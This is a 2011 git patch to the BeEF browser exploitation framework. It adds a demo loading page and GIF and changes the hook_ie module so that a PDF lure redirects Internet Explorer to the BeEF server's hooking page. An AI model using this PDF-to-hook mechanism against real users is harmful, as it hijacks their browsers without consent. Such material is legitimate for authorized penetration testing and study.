From 803f1fd7227c329cf84145c3f2f65c0f936dba63 Mon Sep 17 00:00:00 2001 From: "a.m.saafan@gmail.com" Date: Mon, 25 Jul 2011 15:55:12 +0000 Subject: [PATCH] - Changed the default page that is opened by the PDF and did some minor tweaks . [Issue #: 219] git-svn-id: https://beef.googlecode.com/svn/trunk@1098 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9 --- extensions/demos/html/ajax-loader.gif | Bin 0 -> 8238 bytes extensions/demos/html/report.html | 13 +++++++++++++ modules/browser/hook_ie/module.rb | 11 +++-------- 3 files changed, 16 insertions(+), 8 deletions(-) create mode 100644 extensions/demos/html/ajax-loader.gif create mode 100755 extensions/demos/html/report.html diff --git a/extensions/demos/html/ajax-loader.gif b/extensions/demos/html/ajax-loader.gif new file mode 100644 index 0000000000000000000000000000000000000000..7eca29038a50532be35b4beb18c08840154571ba GIT binary patch literal 8238 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 M*!1h~`(M}p0RjuIr~m)} literal 0 HcmV?d00001 diff --git a/extensions/demos/html/report.html b/extensions/demos/html/report.html new file mode 100755 index 000000000..b7f7d8737 --- /dev/null +++ b/extensions/demos/html/report.html @@ -0,0 +1,13 @@ + + +Loading + + +
+
+
+
+ diff --git a/modules/browser/hook_ie/module.rb b/modules/browser/hook_ie/module.rb index 85b8a09a7..532b8a4e1 100644 --- a/modules/browser/hook_ie/module.rb +++ b/modules/browser/hook_ie/module.rb @@ -41,15 +41,13 @@ class Hook_ie < BeEF::Core::Command configuration = BeEF::Core::Configuration.instance #The hook url to be replace the token in the original pdf file. - hook_uri = "http://#{configuration.get("beef.http.dns")}:#{configuration.get("beef.http.port")}#{configuration.get("beef.http.demo_path")}" + hook_uri = "http://#{configuration.get("beef.http.dns")}:#{configuration.get("beef.http.port")}/demos/report.html" # A new pdf file containg the actual hook URI instead of the dummy token. configured_hook_file = File.open("./modules/browser/hook_ie/bounce_to_ie_configured.pdf","w") # The original pdf file contains a token that will get replaced during the initialization with - # the actual hook URI of beef. Note that the hook URI is accessed via the DNS name. - - #xntrik - unsure what happens to this file after it's been re-written, will never be found again because it's been re-written? + # the actual hook URI of beef. Note that the hook URI is accessed via the DNS name. File.open('./modules/browser/hook_ie/bounce_to_ie.pdf',"r") { |original_hook_file| original_hook_file.each_line { |line| # If the line includes the hook token, then replace it with the actual hook URI @@ -71,10 +69,7 @@ class Hook_ie < BeEF::Core::Command def callback content = {} - content['result'] = @datastore['result'] - - #Unmount the assetnow that we've received the callback - BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/report.pdf'); + content['result'] = @datastore['result'] save content #update_zombie!